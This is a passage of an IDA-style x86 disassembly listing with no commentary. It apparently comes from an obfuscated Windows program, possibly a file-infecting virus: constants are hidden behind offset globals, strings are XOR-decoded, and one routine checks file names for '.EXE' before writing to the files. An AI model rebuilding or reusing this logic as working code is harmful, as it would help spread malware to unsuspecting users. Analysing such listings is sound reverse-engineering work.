		jnz	loc_43C858
		mov	ecx, dword_5511DC
		add	ecx, 3
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_55123C
		add	edi, dword_551200
		sub	edi, 5
		cmp	ecx, edi
		jnz	loc_43C858
		add	eax, dword_5511D8
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_551220
		add	edx, dword_5511A0
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	loc_43C858
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+34h]
		add	ecx, [ebp+var_118C]
		mov	[ebp+var_31F1C], ecx
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F20], eax
		movsx	eax, word_5510F4
		mov	edx, dword_5511B4
		lea	eax, [eax+edx-7]
		sub	eax, [ebp+var_31F20]
		add	eax, ecx
		movsx	edx, word_551104
		add	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F24], eax
		movsx	edi, word_5510A8
		add	edi, dword_5511F8
		mov	edx, [ebp+var_C]
		movsx	ecx, word_5510F4
		add	ecx, dword_551110
		sub	ecx, 0Ah
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-0Ch], ecx


loc_43C858:				; CODE XREF: sub_43B5D8+1171j
					; sub_43B5D8+1191j ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F1C], edx
		mov	ecx, dword_551130
		add	ecx, 2
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_551184
		movsx	edx, word_551194
		add	edi, edx
		mov	edx, edi
		sub	edx, 5
		cmp	ecx, edx
		jnz	loc_43C9A9
		movsx	edx, word_551244
		add	edx, dword_55123C
		sub	edx, 6
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F1C]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_55114C
		add	ecx, dword_5511EC
		sub	ecx, 5
		cmp	edx, ecx
		jnz	loc_43C9A9
		mov	edx, dword_55115C
		add	edx, dword_551110
		sub	edx, 0Bh
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F1C]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_55112C
		sub	ecx, 8
		cmp	edx, ecx
		jnz	loc_43C9A9
		mov	edx, [ebp+var_31F1C]
		movzx	edx, byte ptr [edx+eax]
		movsx	ecx, word_551240
		add	ecx, 0E0h
		cmp	edx, ecx
		jnz	loc_43C9A9
		mov	edx, dword_551234
		movsx	ecx, word_551208
		add	edx, ecx
		sub	edx, 5
		add	eax, edx
		mov	edx, [ebp+var_31F1C]
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_55122C
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_43C9A9
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F24], eax
		movsx	eax, word_5510F8
		add	eax, 0FFFFFFFAh
		sub	eax, [ebp+var_31F20]
		add	eax, [ebp+var_31F24]
		mov	edx, dword_5510D8
		sub	edx, 2
		sub	eax, edx
		mov	[ebp+var_31F28], eax
		movsx	edi, word_551104
		mov	edx, [ebp+var_C]
		mov	ecx, dword_5510BC
		inc	ecx
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4], ecx


loc_43C9A9:				; CODE XREF: sub_43B5D8+12B3j
					; sub_43B5D8+12E8j ...
		inc	[ebp+var_C]


loc_43C9AC:				; CODE XREF: sub_43B5D8+1144j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_43C721
		push	[ebp+var_1074]
		call	ds:dword_4CD948
		push	[ebp+arg_0]
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_44B1A4
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43C9E5:				; CODE XREF: sub_43B5D8+1412j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C9E5
		mov	[ebp+var_31EDC], eax
		mov	edx, dword_5511DC
		movsx	ecx, word_551198
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+eax+var_117F], 72h
		mov	eax, [ebp+var_31EDC]
		movsx	edx, word_551208
		add	edx, 2
		sub	eax, edx
		mov	[ebp+eax+var_117F], 69h
		mov	eax, [ebp+var_31EDC]
		mov	edx, dword_551178
		sub	edx, 7
		sub	eax, edx
		mov	[ebp+eax+var_117F], 76h
		mov	eax, dword_551134
		sub	eax, 2
		push	eax
		mov	eax, dword_55118C
		sub	eax, 1
		push	eax
		push	2
		movsx	eax, word_5510B4
		sub	eax, 5
		push	eax
		mov	eax, dword_5510AC
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_54FB18
		mov	[ebp+var_1074],	eax
		mov	eax, dword_55117C
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_31EE0]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1074]
		call	ds:dword_54FF1C
		push	[ebp+var_1074]
		call	ds:dword_4CD948
		push	[ebp+var_4]
		call	ds:dword_44B5CC
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_4CC544
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_44800C
		mov	eax, 1
		jmp	short loc_43CAF2
; ---------------------------------------------------------------------------


loc_43CADB:				; CODE XREF: sub_43B5D8+117j
					; sub_43B5D8+131j ...
		push	[ebp+var_1074]
		call	ds:dword_4CD948
		push	[ebp+var_4]
		call	ds:dword_44B5CC
		xor	eax, eax


loc_43CAF2:				; CODE XREF: sub_43B5D8+9Dj
					; sub_43B5D8+1501j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B5D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CAF7	proc near		; CODE XREF: sub_43A324+426p
					; sub_43A324+475p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_551250, 0
		jnz	short loc_43CB1F
		push	offset dword_550050
		call	ds:dword_449FCC
		mov	dword_551250, 1


loc_43CB1F:				; CODE XREF: sub_43CAF7+11j
		mov	esi, dword_551134
		inc	esi
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_551158
		add	edx, dword_551230
		dec	edx
		cmp	eax, edx
		jz	loc_43CBDE
		push	offset dword_550050
		call	ds:dword_54E95C
		movsx	eax, word_5510F4
		movsx	edx, word_551144
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_2], ax
		jmp	short loc_43CB90
; ---------------------------------------------------------------------------


loc_43CB7B:				; CODE XREF: sub_43CAF7+A3j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_43CB90:				; CODE XREF: sub_43CAF7+82j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43CB7B
		movsx	eax, word_5510CC
		dec	eax
		movsx	edx, word_5510F8
		sub	edx, 5
		mov	[edi+eax], dl
		movsx	eax, word_551198
		add	eax, dword_5511C8
		sub	eax, 8
		mov	edx, dword_5510E0
		add	edx, dword_551124
		sub	edx, 8
		mov	[edi+eax], dl
		push	offset dword_550050
		call	ds:dword_4CD940


loc_43CBDE:				; CODE XREF: sub_43CAF7+5Aj
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CAF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CBE6	proc near		; CODE XREF: sub_43CDF1+2C8p
					; sub_44077A+1ADp

var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 32Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_50E924
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_4475D4
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_43CC14:				; CODE XREF: sub_43CBE6+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43CC14
		mov	edx, dword_551204
		add	edx, dword_551098
		sub	edx, 0Ah
		mov	ebx, eax
		sub	ebx, edx
		mov	edx, dword_551180
		mov	[ebp+ebx+var_316], dl
		mov	eax, dword_551154
		movsx	edx, word_551104
		mov	edi, eax
		add	edi, edx
		sub	edi, 8


loc_43CC4E:				; CODE XREF: sub_43CBE6+16Fj
		mov	eax, edi
		mov	ecx, dword_5510C8
		inc	ecx
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_5510E4
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, dword_5511A0
		add	eax, dword_55119C
		sub	eax, 0Bh
		mov	edx, [ebp+var_324]
		add	edx, eax
		mov	eax, dword_5511BC
		add	eax, dword_551238
		sub	eax, 6
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		movsx	edx, word_5511F0
		add	edx, dword_55110C
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_43CD54
		mov	eax, edi
		mov	ecx, dword_55117C
		sub	ecx, 5
		mul	ecx
		mov	[ebp+var_328], eax
		mov	eax, dword_5510E4
		add	eax, dword_551098
		sub	eax, 0Bh
		mov	edx, [ebp+var_328]
		add	edx, eax
		movsx	eax, word_5511A8
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_551150
		add	ecx, dword_551134
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_32C], eax
		mov	eax, dword_55116C
		movsx	edx, word_5510F8
		add	eax, edx
		sub	eax, 8
		mov	edx, [ebp+var_32C]
		add	edx, eax
		movsx	eax, word_551190
		add	eax, dword_5510E4
		sub	eax, 0Dh
		mov	[ebp+edx+var_212], al
		jmp	short loc_43CD5A
; ---------------------------------------------------------------------------


loc_43CD54:				; CODE XREF: sub_43CBE6+E6j
		inc	edi
		jmp	loc_43CC4E
; ---------------------------------------------------------------------------


loc_43CD5A:				; CODE XREF: sub_43CBE6+16Cj
		mov	eax, dword_551124
		sub	eax, 2
		cmp	dword_55126C, eax
		jz	short loc_43CDCB
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, dword_5511D4
		sub	eax, 8
		push	eax
		call	ds:dword_44B5B4
		mov	esi, eax
		or	esi, esi
		jz	short loc_43CDCB
		mov	eax, dword_5511A0
		add	eax, dword_55119C
		sub	eax, 0Ch
		cmp	dword_551270, eax
		jz	short loc_43CDEC
		mov	eax, dword_5510D8
		add	eax, dword_55112C
		sub	eax, 0Dh
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		movsx	eax, word_551118
		add	eax, dword_55118C
		sub	eax, 9
		push	eax
		call	ds:dword_448024


loc_43CDCB:				; CODE XREF: sub_43CBE6+182j
					; sub_43CBE6+19Ej
		push	ds:dword_44B5C4
		push	ds:dword_4CE8FC
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_43B5D8
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_43CDEC:				; CODE XREF: sub_43CBE6+1B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CBE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CDF1	proc near		; CODE XREF: sub_44077A+183p

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_4475D4
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_43CE19:				; CODE XREF: sub_43CDF1+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43CE19
		mov	ebx, dword_5511B4
		sub	ebx, 3
		mov	esi, eax
		sub	esi, ebx
		movsx	ebx, word_5510D0
		sub	ebx, 6
		mov	[ebp+esi+var_12104], bl
		movsx	eax, word_551194
		add	eax, dword_55118C
		sub	eax, 2
		push	eax
		movsx	eax, word_551144
		sub	eax, 4
		push	eax
		push	3
		movsx	eax, word_5511E8
		add	eax, dword_5511B8
		sub	eax, 0Bh
		push	eax
		push	dword_5511DC
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	ds:dword_54FB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43D0C1
		movsx	eax, word_551240
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	ds:dword_448034
		mov	[ebp+var_12108], eax
		push	edi
		call	ds:dword_4CD948
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_43D0C1
		mov	eax, dword_5510AC
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_43D0C1
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		mov	edx, dword_5511DC
		add	edx, 44h
		add	edx, dword_551108
		add	eax, edx
		mov	edx, dword_5510F0
		dec	edx
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		movsx	edx, word_5510FC
		add	edx, dword_5511B4
		sub	edx, 6
		cmp	eax, edx
		jz	loc_43D0C1
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_5511FC
		add	edx, 3
		add	edx, dword_5510E4
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_5510BC
		add	edx, dword_551188
		sub	edx, 4
		cmp	eax, edx
		jnz	loc_43D0C1
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_55120C
		add	edx, 0Ch
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		mov	esi, dword_551090
		add	esi, 0Dh
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_4475D4
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_43CFF7:				; CODE XREF: sub_43CDF1+20Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43CFF7
		mov	edi, eax
		mov	eax, edi
		sub	eax, dword_551090
		cmp	[ebp+eax+var_11FFE], 2Eh
		jnz	short loc_43D08F
		mov	eax, dword_5511F4
		add	eax, dword_5510E8
		sub	eax, 7
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43D08F
		mov	esi, dword_551098
		add	esi, dword_551188
		sub	esi, 0Ch
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_44803C
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43D08F
		mov	esi, dword_551170
		add	esi, dword_55114C
		sub	esi, 5
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_44803C
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_43D091


loc_43D08F:				; CODE XREF: sub_43CDF1+21Fj
					; sub_43CDF1+248j ...
		jmp	short loc_43D0C1
; ---------------------------------------------------------------------------


loc_43D091:				; CODE XREF: sub_43CDF1+29Cj
		push	offset dword_552820
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	ds:dword_44802C
		mov	eax, dword_5510D8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_43CBE6
		add	esp, 14h


loc_43D0C1:				; CODE XREF: sub_43CDF1+99j
					; sub_43CDF1+D8j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CDF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D0C6	proc near		; CODE XREF: sub_443ADA+63p

var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= word ptr -80h
var_40		= word ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		mov	ebx, dword_551090
		sub	ebx, 4
		jmp	short loc_43D0EC
; ---------------------------------------------------------------------------


loc_43D0DD:				; CODE XREF: sub_43D0C6+30j
		mov	edx, dword_551178
		sub	edx, 9
		mov	[ebp+ebx*2+var_40], dx
		inc	ebx


loc_43D0EC:				; CODE XREF: sub_43D0C6+15j
		mov	eax, dword_551248
		add	eax, 1Ch
		cmp	ebx, eax
		jb	short loc_43D0DD
		movsx	eax, word_5511F0
		movsx	edx, word_551148
		mov	esi, eax
		add	esi, edx
		sub	esi, 7
		jmp	short loc_43D120
; ---------------------------------------------------------------------------


loc_43D10F:				; CODE XREF: sub_43D0C6+65j
		mov	edx, esi
		shl	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	cx, [ecx+esi*2]
		mov	[ebp+edx+var_80], cx
		inc	esi


loc_43D120:				; CODE XREF: sub_43D0C6+47j
		mov	eax, dword_551114
		lea	eax, [eax+eax+1Eh]
		cmp	esi, eax
		jb	short loc_43D10F
		lea	eax, dword_54EAC0
		mov	[ebp+var_88], eax
		mov	eax, dword_5511D0
		sub	eax, 7
		mov	[ebp+var_84], eax


loc_43D147:				; CODE XREF: sub_43D0C6+12Cj
					; sub_43D0C6+144j
		push	[ebp+var_84]
		push	[ebp+arg_0]
		call	sub_441B90
		add	esp, 8
		mov	[ebp+var_8C], eax
		mov	eax, dword_5510BC
		inc	eax
		cmp	[ebp+var_8C], eax
		jnz	short loc_43D1A7
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_445AFA
		mov	[ebp+var_90], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_442478
		add	esp, 10h
		or	eax, eax
		jz	short loc_43D1A7
		push	[ebp+var_88]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_43B46B
		add	esp, 8


loc_43D1A7:				; CODE XREF: sub_43D0C6+A4j
					; sub_43D0C6+CDj
		inc	[ebp+var_84]
		mov	eax, dword_551238
		add	eax, 20h
		mov	edx, dword_5511DC
		add	edx, 0Ah
		add	edx, dword_5510E0
		imul	eax, edx
		cmp	[ebp+var_84], eax
		jnb	short loc_43D20F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_43D71B
		mov	[ebp+var_90], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_442478
		add	esp, 0Ch
		or	eax, eax
		jz	loc_43D147
		push	[ebp+var_88]
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_43B46B
		add	esp, 8
		jmp	loc_43D147
; ---------------------------------------------------------------------------


loc_43D20F:				; CODE XREF: sub_43D0C6+107j
		mov	edi, dword_551228
		sub	edi, 8
		jmp	short loc_43D22B
; ---------------------------------------------------------------------------


loc_43D21A:				; CODE XREF: sub_43D0C6+16Fj
		mov	edx, edi
		shl	edx, 1
		mov	ecx, [ebp+arg_0]
		mov	dx, [ebp+edx+var_40]
		mov	[ecx+edi*2], dx
		inc	edi


loc_43D22B:				; CODE XREF: sub_43D0C6+152j
		mov	eax, dword_55110C
		add	eax, 1Eh
		cmp	edi, eax
		jb	short loc_43D21A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D0C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D23C	proc near		; CODE XREF: sub_445E8D+EBp
					; sub_445E8D+113p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_551198
		mov	ecx, dword_5511AC
		lea	edx, [edx+ecx+1]
		cmp	eax, edx
		jnz	short loc_43D282
		mov	eax, 6Fh
		jmp	loc_43D305
; ---------------------------------------------------------------------------


loc_43D282:				; CODE XREF: sub_43D23C+3Aj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_5511AC
		movsx	ecx, word_551244
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_43D2A3
		mov	eax, 79h
		jmp	short loc_43D305
; ---------------------------------------------------------------------------


loc_43D2A3:				; CODE XREF: sub_43D23C+5Ej
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_551130
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_43D2BB
		mov	eax, 69h
		jmp	short loc_43D305
; ---------------------------------------------------------------------------


loc_43D2BB:				; CODE XREF: sub_43D23C+76j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_5511AC
		add	edx, dword_55111C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43D2D9
		mov	eax, 65h
		jmp	short loc_43D305
; ---------------------------------------------------------------------------


loc_43D2D9:				; CODE XREF: sub_43D23C+94j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_551110
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43D2F1
		mov	eax, 61h
		jmp	short loc_43D305
; ---------------------------------------------------------------------------


loc_43D2F1:				; CODE XREF: sub_43D23C+ACj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_5510E8
		inc	edx
		cmp	eax, edx
		jnz	short loc_43D305
		mov	eax, 75h


loc_43D305:				; CODE XREF: sub_43D23C+41j
					; sub_43D23C+65j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_43D23C	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D309	proc near		; CODE XREF: sub_446ED7+11p
		push	edi
		push	offset byte_552811
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551274, eax
		mov	eax, dword_5510C0
		movsx	edx, word_5511CC
		add	eax, edx
		sub	eax, 0Bh
		cmp	dword_551274, eax
		jnz	short loc_43D351
		push	offset word_552802
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551274, eax


loc_43D351:				; CODE XREF: sub_43D309+2Fj
		push	offset word_5527EE
		call	sub_43CAF7
		pop	ecx
		push	eax
		push	dword_551274
		call	ds:dword_44B1AC
		mov	ds:dword_48BA00, eax
		pop	edi
		retn
sub_43D309	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D370	proc near		; CODE XREF: sub_441052+5A5p
					; sub_441052+614p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		not	edx
		mov	ecx, esi
		or	ecx, edx
		xor	eax, ecx
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43F3EA
		add	esp, 8
		mov	edi, eax
		add	edi, esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43D370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D3AD	proc near		; CODE XREF: sub_446250+2AAp

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	4
		push	1000h
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_43D3CB
		add	eax, 3Fh


loc_43D3CB:				; CODE XREF: sub_43D3AD+19j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	0
		call	ds:dword_48C21C
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		movsx	edx, word_551208
		mov	ecx, dword_551234
		lea	edx, [edx+ecx+37h]
		mov	eax, edi
		add	eax, edx
		jge	short loc_43D3FC
		add	eax, 3Fh


loc_43D3FC:				; CODE XREF: sub_43D3AD+4Aj
		sar	eax, 6
		movsx	edi, word_551190
		mov	ecx, dword_5511F8
		lea	edi, [edi+ecx+35h]
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	ds:dword_448038
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	ds:dword_4CD814
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_441A9F
		add	esp, 10h
		mov	esi, [ebp+var_14]
		movsx	eax, word_551104
		movsx	edx, word_551198
		mov	ebx, eax
		add	ebx, edx
		dec	ebx
		jmp	short loc_43D46F
; ---------------------------------------------------------------------------


loc_43D450:				; CODE XREF: sub_43D3AD+DCj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_441052
		add	esp, 8
		mov	eax, dword_551100
		add	eax, 2Fh
		add	eax, dword_551120
		lea	esi, [esi+eax]
		inc	ebx


loc_43D46F:				; CODE XREF: sub_43D3AD+A1j
		mov	edi, [ebp+arg_4]
		mov	edx, dword_5511F4
		add	edx, 37h
		mov	eax, edi
		add	eax, edx
		jge	short loc_43D484
		add	eax, 3Fh


loc_43D484:				; CODE XREF: sub_43D3AD+D2j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_43D450
		push	8000h
		mov	eax, dword_551124
		sub	eax, 2
		push	eax
		push	[ebp+var_14]
		call	ds:dword_4CD810
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_443ADA
		mov	eax, dword_551178
		add	eax, 7
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_50E940
		add	esp, 14h
		mov	edi, dword_5510E4
		sub	edi, 5
		cmp	eax, edi
		jz	short loc_43D4DA
		xor	eax, eax
		inc	eax
		jmp	short loc_43D4DC
; ---------------------------------------------------------------------------


loc_43D4DA:				; CODE XREF: sub_43D3AD+126j
		xor	eax, eax


loc_43D4DC:				; CODE XREF: sub_43D3AD+12Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D3AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D4E1	proc near		; DATA XREF: .data:005512D0o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_5511D0
		sub	eax, 7
		cmp	ds:dword_54FF3C, eax
		jbe	short loc_43D4FF
		push	offset dword_54FF3C
		call	ds:dword_448014


loc_43D4FF:				; CODE XREF: sub_43D4E1+11j
		mov	eax, ds:dword_54FF3C
		pop	ebp
		retn	4
sub_43D4E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D508	proc near		; DATA XREF: .data:005512F4o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_551230
		add	eax, dword_551124
		sub	eax, 3
